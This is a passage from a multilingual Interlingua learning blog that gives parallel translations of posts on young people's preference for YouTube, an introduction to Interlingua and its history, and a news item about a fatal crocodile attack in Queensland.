world, 200 have disappeared completely in the last three generations, 538 are in the category of critical risk and 199 are spoken by fewer than 10 people, according to Unesco.\nPosted by hkyson at 3:05 PM\nSunday, February 22, 2009\n(Languages of this post: Interlingua, Spanish, Portuguese, French, Italian, English)\nEsque vos sape que les le motor de cercas de Internet preferite per le juvenes? Illo non es google, ni Yahoo. Illo es YouTube!\nNos jam sapeva que pro nostre natives digital, illes qui nasceva e cresceva con le technologias del information facilemente accessibile al dedos del mano, usar, pro exemplo, le posta electronic nunc es un elemento lente e vetule. Le chat, le messages instantanee, le telephonos cellular, le television per Internet, e mesmo le mundos virtual es ressources multo plus utilisate per nostre juvenes in lor communication diarie.\nNos nunc discoperi que su mundo es video, video video. In lor realitate, lo que non existe in video, simplemente non existe pro illes. Lo que non se trova in YouTube--e assi in forma video--non existe in le cyberspatio, que es su realitate quotidian.\nPro le plus juvenes, omne le information que illes pote necessitar se pote trovar con un clic. Illes prefere le utensilios intuitive, facile a usar e attractive estheticamente, como le photologs, que es plus importante pro illes que le blogs. A illes place plus experimentar o discoperir como functiona un nove utensilio electronic con su collegas, in vice de leger le instructiones. E illes recognosce que le apparition in le mercato de technologia de plus in plus accessibile, plus parve, e con un major numero de tractos face le vita plus simple pro illes, ben que, como le majoritate del usuarios, illes non usa omne le possibilitates que offere iste utensilios del vita moderne.\nLe technologia mobile es pro illes un signal de identitate, e un utensilio que permitte que illes se trova in contacto con lor gruppo instantaneemente. Illes anque recognosce como un factor negative le facilitate con le qual il es possibile usar identitates false in le rete, e anque le possibilitates de chantage, gratias al possibilitate de montar un photo o un video in le rete o pressionar un persona con messages continuee.\nIl anque es multo clar que le major parte del juvenes usa le technologias del information e del communication pro mitter los al servicio de lo que illes vole obtener: le cerca pro information del themas que plus les attrahe, e, in minor mensura, pro travaliar in lor classes.\nIste nove medios de communication ha possibilitates educative, ma ille potential, usque nunc, non se ha usate, tanto per le juvenes que usa le technologia pro usos personal e social, como per le educatores, qui, in despecto de obligor se a essayar a obtener un bon cognoscimento de illo, sovente vide que lor studentes ha un dominio multo major del technologia.\nA causa de iste nove technologia, se debe revisar le objectivos educative actual e le methodos de inseniamento pro adaptar los al nove technologias e extrar de illos un rendimento multo major, tanto per le studentes como per le professores.\nIl ha un responsibilitate mutue: le systema educative, le patres, professores, adultos in general--omne illes immigrantes digital--debe actualisar se pro poter facer major uso del technologia disponibile. E le juvenes--omne illes natives digital--debe apprender a usar melio le avantages de omne ille cognoscimento al qual illes ha accesso e jocar con illo, disveloppar lo, e contribuer a crear nove productos ultra le objectos del diversion personal.\nAnque es necesse un melior cognoscimento del anglese, le lingua franca necesse pro integrar se in omne le partes del mundo globalisate in le qual nos nunc vive--proque le energia del juvenes e lor cognoscimentos del nove technologia pote cambiar le mundo, e iste es un opportunitate que nos non debe negliger.\n---\n¿Saben cuál es el buscador de Internet preferido por los más jóvenes? No es Google, ni Yahoo. Es YouTube!\nSabíamos ya que para nuestros nativos digitales, aquéllos que nacieron y crecieron con las tecnologías de la información al alcance de la mano, usar, por ejemplo, el correo electrónico, es ya un elemento lento y desfasado. El chat, los mensajes instantáneos, teléfonos celulares, la televisión por Internet e incluso los mundos virtuales son recursos mucho más utilizados por nuestros jóvenes en su comunicación diaria.\nAhora descubrimos que su mundo es vídeo, vídeo, vídeo. En su realidad, lo que no existe en vídeo, sencillamente no existe para ellos. Lo que no se encuentra en YouTube--y, por lo tanto, en formato video--no existe en el ciberespacio, que es su realidad cotidiana.\nPara los más jóvenes, toda la información que puedan necesitar está al alcance de un clic. Prefieren las herramientas intuitivas, fáciles de usar y atractivas estéticamente, como los fotologs, que son más importantes para ellos que los blogs Les gusta más experimentar o descubrir cómo funciona una nueva herramienta electrónica con sus colegas, en vez de leer las instrucciones. E reconocen que la aparición en el mercado de tecnología cada vez más asequible, más pequeña, y con más prestaciones, les hace la vida más fácil, aunque, como la mayoría de los usuarios, no usan todas las posibilidades que ofrecen estas herramientas de la vida moderna.\nLa tecnología móvil es para ellos un signo de identidad, y una herramienta que les permite estar siempre conectados con sus amigos, algo que para ellos es positivo.\nLa parte negativa de un intensivo uso social de esta tecnología es el peligro de adicción. Sienten la necesidad continua de estar en contacto con su grupo y de comunicar sus impulsos casi al instante. También reconocen como un factor negativo la facilidad de usar falsas identidades en la red, tanto como las posibilidades de chantaje, gracias a que se puede colgar una foto o un vídeo en la red o presionar a una persona a través de mensajes continuos.\nQueda también muy claro en que los más jóvenes utilizan las tecnologías de la información y la comunicación para ponerlas al servicio de lo que quieren conseguir: ocio compartido con los amigos, búsqueda de información de los temas que más les atraen, y, en menor medida, para trabajar en las aulas.\nEstos nuevos medios de comunicación tienen posibilidades educativas, pero ese potencial está ahora mismo desaprovechado, tanto por los jóvenes, que utilizan la tecnología para usos personales y sociales, como por los educadores, que pese a esforzarse por tener un buen conocimiento, a menudo ven cómo sus alumnos tienen un dominio mucho mayor de la tecnología.\nA causa de esta nueva tecnología, se debe revisar los objetivos educativos actuales y los métodos de enseñanza para adaptarlos a las nuevas tecnologías, y sacar de ellas un provecho mucho mayor, tanto por parte de los alumnos como de los profesores.\nHay una responsabilidad mutua: el sistema educativo, los padres, profesores, adultos en general--todos ellos inmigrantes digitales--tienen que ponerse al día para poder hacer un major uso de la tecnología disponiblee. Y los jóvenes, esos nativos digitales, tienen que saber aprovechar mejor las ventajas de todo ese conocimiento al que tienen acceso, y jugar con él, desarrollarlo e contribuir a crear nuevos productos, más allá de los objetivos de ocio.\nTambién es imprescindible un mejor conocimiento del inglés, la lingua franca necesaria, para integrarse en todos los ámbitos del mundo globalizado en el que vivimos--porque la energía de los jóvenes y sus conocimientos de la nueva tecnología puede cambiar el mundo, y es una oportunidad que no debemos desaprovechar.\n---\nVocês sabem qual é o motor de busca pela internet preferido pelos jovens? Nem o Google ou Yahoo. É YouTube!\nNós já sabíamos que os nossos nativos digitais, aqueles que nasceram e cresceram com a tecnologia da informação na ponta dos dedos, utilizar, por exemplo, correio electrónico, é um processo lento e desatualizado. O chat, as mensagens instantâneas, os telefones celulares, a televisão, o Internet e até mesmo os mundos virtuais são recursos muito mais utilizados pelos nossos jovens na sua comunicação quotidiana.\nAgora, descobrimos que o seu mundo é o vídeo, vídeo, vídeo. Na realidade, o que não existe em vídeo, simplesmente não existe para eles. O que não está no YouTube--e, portanto, em formato video--não existe no ciberespaço, que é a sua realidade diária.\nPara os mais jovens, todas as informações das quais eles precisam está ao alcance de um clique. Preferem ferramentas intuitivas, fáceis de utilizar e esteticamente atraentes, como fotologs, que são mais importantes para eles do que os blogs. Eles gostam de experimentar e descobrir como uma nova ferramenta electrónica funciona com os seus colegas, ao invés de ler instruções. E reconhecem que a aparência no mercado de tecnologia cada vez mais acessível, mais pequeno e com mais funções, lhes faz a vida mais fácil, porém, como a maioria dos usuários não usam todas as possibilidades oferecidas por estas ferramentas da vida moderna.\nA tecnologia móvel é para eles um sinal de identidade e uma ferramenta que lhes permite estar sempre ligado aos seus amigos, algo que é positivo para eles.\nO lado negativo de um intenso uso social dessa tecnologia é o perigo da dependência. Sentem a necessidade de estar em contacto permanente com o seu grupo e de comunicar os seus impulsos quase instantaneamente. Também é reconhecido como um factor negativo a facilidade de utilização de falsas identidades na rede, bem como o potencial de chantagem, porque pode-se pendurar uma foto ou um vídeo na web ou pressionar uma pessoa através de mensagens continuas.\nÉ evidente também que a maioria dos jovens utilizam a tecnologia da informação e da comunicação para conseguir o que querem: entretenimento partilhadas com amigos, pesquisar informações dos itens que mais atraem-los e, em menor grau, para o trabalho na sala de aula.\nEstes novos meios de comunicação têm oportunidades educativas, mas este potencial é actualmente subutilizado, tanto pelos jovens, que usam a tecnologia para o uso pessoal e social, como para educadores, que, apesar dos seus esforços para ter um bom conhecimento da nova tecnologia, discobrem muitas vezes como os seus alunos têm um domínio muito maior da tecnologia.\nDevido a esta nova tecnologia, debe-se rever os actuais objectivos pedagógicos e métodos de ensino para se adaptarem às novas tecnologias, e tirar-lhes uma vantagem muito maior, tanto por alunos e professores.\nExiste uma responsabilidade mútua: o sistema de educação, pais, professores, adultos em geral--todos os imigrantes digitais--têm de reconhecer a necessidade de recuperar o atraso para fazer um melhor uso da tecnologia disponível. E os jovens, os nativos digitais, têm de saber encontrar melhor uso para a tecnologia à qual tem acesso. Debem jogar com ela, desenvolvê-la e ajudar a criar novos produtos, para além do âmbito do entretenimento.\nÉ também essencial um melhor conhecimento do Inglês, a língua franca necessária para integrar-se em todas as áreas do mundo globalizado em que moramos--porque a energia dos jovens e os seus conhecimentos das novas tecnologias pode mudar o mundo, e é uma oportunidade que não deve ser desperdiçada.\n---\nConnaissez-vous le moteur de recherche en Internet préferé par les jeunes? Pas de Google ou Yahoo. C'est YouTube!\nNous savions déjà que pour les natives du Internet, ceux qui sont nés et ont grandi avec la technologie de l'information à portée de main, utiliser, par exemple, le courrier électronique, est quelque chose caduque. Le chat, la messagerie instantanée, la téléphonie cellulaire, la télévision par Internet et même les mondes virtuels sont des ressources beaucoup plus utilisées par nos jeunes dans leur communication quotidienne.\nMaintenant, on découvre que leur monde est la vidéo, la vidéo, la vidéo. En réalité, ce qui n'existe pas dans la vidéo, n'existe pas du tout pour eux. Ce qui n'est pas sur YouTube--et, donc, en format video—n'existe pas dans le cyberespace, qui est leur réalité quotidienne.\nPour les plus jeunes, toutes les informations dont ils pourraient avoir besoin est à portée d'un clic. Ils préfère des outils intuitifs, faciles à utiliser et esthétiquement attrayants, comme fotologs, qui sont plus importants pour eux que les blogs. Ils aiment expérimenter et découvrir comment un nouvel outil électronique fontionne avec leurs collègues, plutôt que lire des instructions. Et ils reconnaissent que le marché émergent de la technologie de plus en plus abordable, plus petite et avec plus de fonctionnalités leur rend la vie plus facile, même si, comme la plupart des utilisateurs ils ne utilise pas toutes les possibilités offertes par ces outils de la vie moderne.\nLa technologie mobile est pour eux un signe d'identité, et un outil qui leur permet d'être toujours connectés à leurs amis, ce qui est positif pour eux.\nLa partie négative de l'intensité de l'usage social de cette technologie est le danger de la dépendance. Ils sentent la nécessité d'être en contact avec leur groupe et à communiquer leurs pensées presque instantanément. Aussi ils reconnaisent comme un facteur négatif la facilité d'utilisation de fausses identités dans le réseau, ainsi que le potentiel de chantage, parce que on peut accrocher une photo ou une vidéo sur le web ou menacer une personne avec des messages frequents.\nIl est également clair que la plupart des jeunes utilisent la technologie de l'information et de communication à obtenir ce qu'ils veulent: des loisirs avec des amis, des informations de recherche des éléments qui les attirent, et dans une moindre mesure, à travailler plus efficacement dans la salle de classe.\nCes nouveaux médias ont des possibilités pour l'éducation, mais ce potentiel est actuellement sous-utilisé, tant par les jeunes, qui utilisent la technologie pour des usages personnels et sociaux, comme pour les éducateurs, qui, malgré leurs efforts déployés pour avoir une bonne connaissance, souvent découvrissent que leurs élèves ont un plus grande connaissance de la technologie.\nEn raison de cette nouvelle technologie, on doit revoir les objectifs pédagogiques et les méthodes d'enseignement pour les adapter aux nouvelles technologies et en tirer un plus grand profit, tant par les élèves et les enseignants.\nIl ya une responsabilité mutuelle: le système éducatif, les parents, les enseignants, les adultes en general--tous les immigrants dans l'univers technologique--ont besoin de faire une meilleure utilisation de la technologie disponible. Et les jeunes, ces natives digitaux, doivent trouver de plus en plus l'avantage de tout ce qu'ils ont appris sur la technologie. Ils doivent jouer avec elle pour la développer et pour contribuer à créer des produits nouveaux, au-delà de la portée de divertissement.\nIl est également essentiel une meilleure connaissance de l'anglais, la lingua franca qui est nécessaire pour la integration de la technologie dans toutes les régions du monde globalisé dans lequel nous vivons--parce que l'énergie des jeunes et leur connaissance de la nouvelle technologie peut changer le monde, et ceci est une occasion qui ne doit pas être manquée.\n---\nSapete cos'è il motore di ricerca su Internet di scelta per i giovani? Non Google o Yahoo. È YouTube!\nSapevamo già che il nostro nativi digitali, coloro che sono nati e cresciuti con la tecnologia a portata di mano, l'uso, ad esempio, della posta elettronica, è lento e obsoleto. Chat, telefoni cellulari, television in Internet e anche mondi virtuali sono risorse multo più utilizzate dai nostri giovani nella loro vita di communicazione quotidiana.\nOra si scopre che loro mondo è il video, video, video. In realtà, ciò che non esiste nel video, semplicemente non esiste per loro. Ciò che non è su YouTube--e, quindi, in formato video--non esiste nel ciberspazio, che è la loro realtà quotidiana.\nPer i più piccoli, tutte le informazioni del qual potrebbero avere bisogno è a portata di mano di un clic. Preferiscono strumenti intuitivi de facile uso ed esteticamente attraente, come fotologs, che sono più importante per loro che il blog. Gli piace sperimentare e scoprire come un nuovo strumento elettronico funziona coi loro colleghi piuttosto che leggere le istruzioni. E hanno discoperito che il mercato emergente della tecnologia sempre più accessibile, più piccole e con più funzioni, rende la vita più facile, anche se, come la maggior parte degli utenti, non utilizzano tutte le possibilità offerte da questi strumenti della vita moderna.\nLa tecnologia mobile è per loro un segno di identità, e uno strumento che permette loro di essere sempre collegato a loro amici, cosa che è positiva per loro.\nLa parte negativa di un intenso uso sociale di questa tecnologia è il pericolo della dipendenza. Hanno il bisogno di essere in continuo contatto con il loro gruppo e di comunicare con loro quasi istantaneamente. Anche riconoscono come un fattore negativo la facilità d'uso di identità false in Internet, così come il potenziale di ricatto, perché si può appendere una foto o un video sul web o premere una persona con messaggi continui.\nÈ anche chiaro che la maggior parte dei giovani utilizzano le tecnologie dell'informazione e della comunicazione a ottenere ciò che vogliono: divertimento condiviso con gli amici, la ricerca degli elementi di informazione che li attirano, e, in misura minore, il lavoro svolto in classe.\nQuesti nuovi mezzi di comunicazione hanno delle possibiliità educative, ma questo potenziale è attualmente sottoutilizzato, sia da parte dei giovani, che utilizzano la tecnologia per usi personali e sociali, come educatori, che, nonostante gli sforzi per ne avere una buona conoscenza, spesso trovano che loro studenti hanno un maggiore dominio della tecnologia.\nA causa di questa nuova tecnologia, è necessario rivedere le attuali obiettivi didattici e metodi d'insegnamento per ci adattarsi, e per trarne un maggiore beneficio, sia da parte degli studenti o degli insegnanti.\nVi è una responsabilità reciproca: il sistema di istruzione, genitori, insegnanti, adulti in generale--tutti gli immigrati digitale--devono fare un migliore uso della tecnologia disponible. E i giovani--i nativi digitali--devono approfittarsi di tutto ciò che conoscono, e devono giocare con esso, svilupparlo e contribuire a creare nuovi prodotti, al di là della portata di intrattenimento.\nE anche essenziale una migliore conoscenza della lingua inglese, la lingua franca necessaria per integrarsi in tutte le aree del mondo globalizzato in cui viviamo--perché l'energia dei giovani e la loro conoscenza delle nuove tecnologie possono cambiare il mondo, ed è un opportunità che non si deve perdere.\n---\nDo you know what the Internet search engine of choice is for the young? It's not Google or Yahoo. It's YouTube!\nWe already knew that our digital natives, those who were born and grew up with information technology at their fingertips, using electronic mail, for example, is slow and outdated. Chat, instant messaging cell phones, Internet, TV, and even virtual worlds are more widely used by young people in their daily communications.\nNow we discover that their world is video, video, video. In reality, what does not exist in video, simply does not exist for them. What is not on YouTube--and, therefore in video format--does not exist in cyberspace, which is their daily reality.\nFor the youngest, all the information they might need is within reach of a click; they prefer intuitive tools that are easy to use and aesthetically attractive, such as photologs, which are more important to them than blogs: they like to experiment or discover how a new electronic tool works with their peers; instead of reading instructions. And they recognize that the appearance on the market of increasingly affordable technology, smaller and with more features, makes life easier, though, like most users, they do not use all the possibilities offered by these tools of modern life.\nMobile technology for them is a sign of identity, and a tool that allows them to be always connected to their friends, something that is positive for them.\nThe negative part of the intensive social use of technology is, for some young people the danger of addiction. They feel the need to be in continuous contact with their peers and to communicate their impulses almost instantly. They also recognize as a negative factor the ease with which false identities can be used in the network, as well as the possibilities of blackmail, because a person can upload a picture or video in the network, or pressure a person through continuous messages.\nIt is also quite clear that most young people use information technology and communication to get what they want: entertainment shared with friends, searching for information about the subjects that attract them, and, to a lesser extent, for work in the classroom.\nThese new communications media have educational possibilities, but this potential is currently underused, both by young people, using technology for personal and social uses, as it is for educators, who despite their efforts to learn about it, often see how their students have a much better knowledge of the technology.\nBecause of this new technology, current educational objectives and teaching methods should be revised to adapt them to the new technologies and to use them to better advantage, both for students and teachers.\nThere is a mutual responsibility; the education system, parents, teachers, adults in general--all digital immigrants--need to play catch up to make better use use of the available technology. And the young, those digital natives, have to know how to take better advantage of all that knowledge they have access to and play with it, develop it, contribute to the creation of new products beyond the purposes of mere entertainment.\nAlso needed is a better knowledge of English, the lingua franca needed for integration into all areas of the globalized world that we live in--because the energy of young people and their knowledge of new technology can change the world, and is an opportunity that must not be missed.\nPosted by hkyson at 10:40 AM\n(Languages of this post: Interlingua, Spanish, Porstugese, French, Italian, English)\nInterlingua es un lingua naturalistic basate sur le elementos commun de septe major linguas europee. Per consequentia, le majoritate de su vocabulario es de origine greco-latin.\nInterlingua, como ulle altere lingua vivente, sta a evolver secundo le patronos de su linguas fonte, e omne interlinguista apprende interlingua de un varietate de ressources como libros del Servicio de Libros del Union Mundial pro Interlingua [http:\/\/www.interlingua.com] o de un crescente numero de ressources gratis que es facilemente disponibile in Internet.\nGratias a su vocabulario vermente international e a su grammatica simple, interlingua es facilissime a apprender (sia pro uso passive o uso active) pro le major parte de gente cuje lingua maternal es un lingua europee--specialmente pro personas cuje lingua native es le anglese, le francese, le italiano, le espaniol, o le portugese.\nInterlingua es le sol lingua auxiliar que es facilemente (e sovente immediatemente) comprendite, specialmente in su forma scribite, per centos de milliones de personas qui nunquam lo ha studiate. Isto da a illo un avantage unic sur altere linguas planificate como Esperanto. E si vos apprende interlingua, vos acquirera un comprehension plus solide del elementos international de vostre proprie lingua maternal.\nInterlingua appareva in 1951 in publicationes producite per IALA (International Auxiliary Language Association) post quasi tres decennios de recercas professional per linguistas pagate. Infelicemente, un del grande sponsores de IALA moriva exactemente quando le projecto esseva finite, e le lingua nunquam recipeva fundos adequate pro promover lo efficacemente. Interlingua nonobstante ha essite usate con successo in conferentias international e revistas scientific. Hodie, Internet offere nove opportunitates pro su uso.\n(Le interlingua de IALA non deberea esser confundite con un altere Interlingua, anque cognoscite como Latino sine Flexione, proponite per Giuseppe Peano in 1903.)\nIste blog, \"Interlingua Multilingue\", ha essite publicate pro provider un grande varietate de ressources bibliographic a studentes de interlingua e su linguas fonte.\n--\n¿Qué es interlingua?\nInterlingua es una lengua naturalistica basada en los elementos comunes a siete de los principales idiomas europeos. Así, la mayor parte de su vocabulario es de origen greco-latino.\nInterlingua, como cualquier otra lengua viva, está evolucionando de acuerdo a las pautas de sus idiomas de origen, y cada Interlinguista aprende interlingua de una variedad de recursos, como libros del Servicio de Libros de la Unión Mundial pro interlingua [http:\/\/ . interlingua.com] o de un número cada vez mayor de recursos libres que son fácilmente disponibles en Internet.\nGracias a su vocabulario verdaderamente internacional y a su gramática sencilla, interlingua es muy fácil de aprender (ya sea para uso activo o uso pasivo) por la mayoría de las personas cuya lengua materna es una lengua europea--especialmente para las personas cuyos idiomas nativos son inglés, francés, italiano, español y portugués.\nInterlingua es la única lengua auxiliar que se puede entender fácilmente (y muchas veces inmediatamente), sobre todo en su forma escrita, por millones de personas que nunca la han estudiado. Esto le da una ventaja única sobre las otras lenguas planificadas como el esperanto. Y si usted aprende interlingua, tendrá una mayor comprensión de los elementos internacionales en su propio idioma nativo.\nInterlingua apareció en 1951 en publicaciones producidas por IALA (la Asociación Internacional de Lenguas Auxiliares) después de casi tres décadas de investigación profesional por lingüistas pagados. Lamentablemente, uno de los principales patrocinadores de IALA murió exactamente cuando el proyecto llegó a su conclusión, y el idioma nunca recibió los fondos necesarios para promoverlo con eficacia. Interlingua, sin embargo, se ha utilizado con éxito en congresos internationales y revistas científicas. Hoy en día, la Internet ofrece nuevas oportunidades para su uso.\n(La interlingua de IALA no debe confundirse con otro interlingua, también conocida como Latino sine Flexione, propuesto por Giuseppe Peano en 1903.)\nEste blog, \"Interlingua Multilingüe\", se ha publicado para proporcionar una gran variedad de recursos bibliográficos a los estudiantes de interlingua y de sus lenguas de origen.\nO qué é Interlíngua?\nInterlíngua é uma língua naturalístca baseada em elementos comuns a sete principais línguas europeias. Como resultado, a maior parte do seu vocabulário é de origem greco-latina.\nInterlingua, como qualquer outra língua viva, está a evoluir de acordo com os padrões da suas línguas fonte, e cada interlinguista aprende interlingua de uma variedade de recursos, tais como livros do Serviço de Libros da União Mundial pro Interlingua [http:\/\/www . interlingua.com] ou de um número crescente de recursos livres que são facilmente disponíveis na Internet.\nGraças ao seu vocabulário verdadeiramente internacional e à sua gramática simples, Interlíngua é muito fácil de aprender (seja para utilização activa ou passiva) pela maior parte das pessoas cuja língua materna é uma língua europeia--especialmente para as pessoas cujas línguas nativas são Inglês, Francês, Italiano, Espanhol e Português.\nInterlingua é a única língua auxiliar que é facilmente (e, muitas vezes, imediatamente) entendida, especialmente na sua forma escrita, por milhões de pessoas que nunca a estudaram. Isso lhe dá uma vantagem única em relação a outras línguas planejadas como esperanto. E se você aprender Interlíngua, você irá adquirir uma compreensão mais sólida dos elementos internacionais na sua própria língua nativa.\nInterlingua apareceu em 1951 em publicações produzidas pela IALA (International Auxiliary Language Association), após quase três décadas de investigação por linguistas pagados. Infelizmente, um dos principais patrocinadores da IALA morreu exatamente quando o projeto chegou a uma conclusão, e a língua e nunca recebeu o dinheiro necessário para promove-la de forma eficaz. Interlingua, no entanto, tem sido utilizada com sucesso em conferências internacionais e revistas científicas. Hoje, o Internet oferece novas oportunidades para a sua utilização.\n(A Interlíngua de IALA não deve ser confundida com outra Interlingua, também conhecido como Latino sine Flexione, proposta por Giuseppe Peano em 1903).\nEste blog, \"Interlingua Multilingue,\" foi publicado para fornecer uma grande variedade de recursos bibliográficos para os alunos de interlingua e as sua línguas fonte.\n---\nInterlingua, qu'est-ce que c'est?\nInterlingua est une langue naturaliste construite sur la base des éléments communs à sept principales langues européennes. En conséquence, la plupart de son vocabulaire est d'origine gréco-latine.\nInterlingua, comme toute autre langue vivante, évolue en fonction de la configuration de ses langues d'origine, et chaque interlinguiste apprend interlingua d'une variété de ressources, tels que les livres de la Servicio de Libros de l'Union Mundial pro Interlingua [http:\/\/www . interlingua.com] ou d'un nombre croissant de ressources gratuities qui sont facilement disponibles sur l'Internet.\nGrace à son vocabulaire international et à sa grammaire simple, Interlingua est très facile à apprendre (que ce soit pour l'utilisation active ou passive) de la plupart des gens dont la langue maternelle est une langue européenne--en particulier pour les personnes dont les langues sont l'anglais, français, italien, espagnol et le portugais.\nInterlingua est la seule langue auxiliaire qui est facilement (et souvent immédiatement) comprise, en particulier dans sa forme écrite, par des millions de personnes qui ne l'ont jamais étudiée. Cela lui donne un avantage unique par rapport à d'autres langues comme l'espéranto. Et si vous apprenez interlingua, vous allez acquérir une bonne compréhension des éléments internationaux dans votre propre langue maternelle.\nInterlingua a apparu en 1951 dans des publications produites par l'IALA (International Auxiliary Language Association), après près de trois décennies de recherche professionnelle par des linguists payés. Malheureusement, l'un des principaux auteurs de l'IALA est morte au moment précis où le projet est parvenu à une conclusion, et la langue n'a jamais reçu les fonds nécessaires pour la promouvoir efficacement. Interlingua, néanmoins, a été utilisée avec succès dans des conferences internationales et des revues scientifiques. Aujourd'hui, le Inernet offre de nouvelles possibilités pour son utilisation.\n(L'Interlingua de IALA ne doit pas être confondue avec une autre interlingua, également connue sous le nom de Latino sine Flexione, proposée par Giuseppe Peano en 1903.)\nCe blog, \"Interlingua Multilingue\", a été publié pour fournir une grande variété de ressources bibliographiques, à des étudiants de Interlingua et de ses langues d'origine.\n---\nCosa è Interlingua?\nInterlingua è una lingua naturalistica sui basi comuni di sette principali lingue europee. Come risultato, la maggior parte del suo vocabolario è di origine greco-latino.\nInterlingua, come qualsiasi altra lingua viva, si sta evolvendo in base ai modelli delle sue lingue di origine, e ogni interlinguista apprende interlingua da una varietà di risorse, come i libri dal Servicio de Libros dell'Unione Mundial pro Interlingua [http:\/\/www . interlingua.com] o da un numero crescente di risorse gratuite che sono facilmente reperibili su Internet.\nGrazie al suo vocabulario veramente internazionale e alla sua grammatica semplice, interlingua è molto facile da imparare (sia per uso attivo o passivo) dalla maggior parte delle persone la cui lingua madre è una lingua europea--in particolare per le persone la cui lingua madre è l'inglese, francese, italiano, spagnolo e portoghese.\nInterlingua è la sola lingua ausiliare che è facilmente (e spesso immediatamente) comprendita, in particolare nella sua forma scritta, da milioni di persone che non la hanno mai studiato. Questo gli dà un vantaggio rispetto ad altre lingue ausiliari, come Esperanto. E se Lei impara interlingua, Le acquisterà una più solida conoscenza dei elementi internazionali nella sua lingua nativa.\nInterlingua è apparsa nel 1951 nelle pubblicazioni prodotte da IALA (International Auxiliary Language Association), dopo quasi tre decenni di ricerca professionale da linguisti pagati. Purtroppo, uno dei principali patrocinatori del IALA morí esattamente quando il progetto è venuto a una conclusione, e la lingua non ha mai ricevuto i finanziamenti necessari per promuoverla in modo efficace. Interlingua, tuttavia, è stato utilizzato con successo in conferenze internazionali e riviste scientifiche. Oggi, la Inernet offre nuove opportunità per il suo utilizzo.\n(L'interlingua di IALA non deve essere confusa con un'altra interlingua, nota anche come Latino sine Flexione, proposta da Giuseppe Peano nel 1903.)\nQuesto blog, \"Interlingua Multilingue\", è stato pubblicato per fornire una grande varietà di risorse bibliografiche per gli studenti di interlingua e delle sue lingue fonte.\n---\nWhat is Interlingua?\nInterlingua is a naturalistic language based on the common elements of seven major European languages. As a result, most of its vocabulary is of Greco-Latin origin.\nInterlingua, like any other living language, is evolving according to the patterns of its source languages, and every Interlinguist learns interlingua from a variety of resources, such as books from the Servicio de Libros of the Union Mundial pro Interlingua [http:\/\/www.interlingua.com] or from a growing number of free resources that are easily available on the Internet.\nThanks to its truly international vocabulary and its simple grammar, Interlingua is very easy to learn (whether for active or passive use) by most people whose mother tongue is a European language--especially for people whose native languages are English, French, Italian, Spanish, and Portuguese.\nInterlingua is the only auxiliary language that is easily (and often immediately) understood, especially in its written form, by millions of people who have never studied it. This gives it a unique advantage over other planned languages like Esperanto. And if you learn Interlingua, you will acquire a more solid understanding of the international elements in your own native language.\nInterlingua first appeared in 1951 in publications produced by IALA (the International Auxiliary Language Association) after almost three decades of professional research by paid linguists. Unfortunately, one of the principal sponsors of IALA died exactly when the project came to a conclusion, and the language never received the funding needed to promote it effectively. Interlingua, nevertheless, has been used successfully in international conferences and in scientific journals. Today, the Internet offers new opportunities for its use.\n(The Interlingua of IALA should not be confused with another Interlingua, also known as Latino sine Flexione, proposed by Giuseppe Peano in 1903.)\nThis blog, \"Interlingua Multilingue,\" has been published to provide a large variety of bibliographical resources to students of Interlingua and its source languages.\nPosted by hkyson at 3:15 AM\nSaturday, February 21, 2009\n(Languages of this post: Interlingua, Portuguese, English)\nLe policia de Australia diceva que illes ha trovate le restos mortal de un puero de cinque annos in le stomacho de un crocodile de 4,3 metros de longor.\nLe ultime vice que le puero, Jeremy Doble, esseva vidite esseva le 8 de februario, quando ille stava a jocar in un area presso su casa que habeva essite inundate per le fluvio Daintri, in le nord de Queensland.\nLe autoritates concludeva que ille habeva essite attaccate de devorate per le animal. Secundo le jornal \"Courier Mail\", de Queensland, Doble essayava a chassar le predator que menaciava su fratre, Ryan, de septe annos, e le can del familia, quando ille esseva attaccate.\nLe crocodilo esseva capturate e su stomacho esseva examinate per chirurgia. Illo nunc essera inviate a un refugio de crocodiles o un jardin zoologic, secundo le autoritates. (Le patres del victima demandava que le crocodile esseva salvate.)\nLe fluvio Daintree passa per un area que le Agentia de Protection Ambiental de Queensland considera un refugio de crocodilos e ubi, se crede, pote exister usque cento animales adulte.\nJeremy esseva le secunde victima fatal de un attacco de un crocodile in Australia in le ultime cinque annos.\n---\nO corpo dum menino foi encontrado no estômago de um crocodilo na Austrália.\nA polícia da Austrália disse ter encontrado os restos mortais de um menino de cinco anos no estômago de um crocodilo de 4,3 metros de comprimento.\nO menino, Jeremy Doble, foi visto pela última vez no dia 8 de fevereiro, quando brincava em uma área perto de sua casa que havia sido inundada pelas águas do rio Daintree, no norte de Queensland.\nAs autoridades concluíram que ele foi atacado e devorado pelo animal. De acordo com o jornal \"Courier Mail\", de Queensland, Doble tentou afugentar o predador que ameaçava seu irmão, Ryan, de sete anos, e o cachorrinho da família, quando foi atacado.\nO crocodilo foi capturado e teve seu estômago examinado em uma cirurgia. Ele deverá agora ser enviado para uma fazenda de criação de crocodilos ou zoológico, de acordo com as autoridades. (Os pais da vítima pediram que o crocodilo fosse poupado.)\nO rio Daintree passa por uma área que a Agência de Proteção Ambiental de Queensland considera um reduto de crocodilos e onde, acredita-se, podem existir até cem animais adultos.\nJeremy foi a segunda vítima fatal de ataque de crocodilo na Austrália nos últimos cinco meses.\n---\nThe body of boy is found in the stomach of a crocodile in Australia.\nPolice in Australia said they found the remains of a five-year-old boy in the stomach of a crocodile 4.3 meters in length.\nThe boy, Jeremy Doble, was last seen on February 8, when he was playing in an area near his home that had been flooded by the waters of the Daintree River in northern Queensland.\nThe authorities concluded that he had been attacked and devoured by the animal. According to the \"Courier Mail,\" a newspaper in Queensland, Doble tried to chase the predator that had been threatening his seven-year-old brother, Ryan, and the family dog when he was attacked.\nThe crocodile was captured and was surgically examined. He will now be sent to a breeding farm for crocodiles or a zoo, according to authorities. (The victim's parents asked that the crocodile be spared.)\nThe Daintree river passes through an area that the Environmental Protection Agency of Queensland considers to be a crocodile refuge, where it is believed there may be up to one hundred adults.\nJeremy was the second fatal victim of crocodile attack in Australia in the last five months.\nPosted by hkyson at 3:41 PM\n(Languages of this post: Interlingua, Italian)\nIste serie de documentos dara a vos un pauco de practica in le lectura o le traduction inter interlingua e italiano per le comparation de textos in iste duo linguas.\nCon le adjuta de libros de grammatica, on pote usar simile series de presentationes, naturalmente, pro studiar le altere linguas fonte de Interlingua o altere linguas assatis simile, como, pro exemplo, le espaniol e le portugese, le italiano e le catalan, le germano e le hollandese, o le danese e le svedese. Cata capitulo habera quatro partes:\n(1) Presentation del texto in interlingua,\n(2) Presentation del texto in italiano,\n(3) Presentation de un texto supplementari in italiano,\n(4) Confirmation del texto 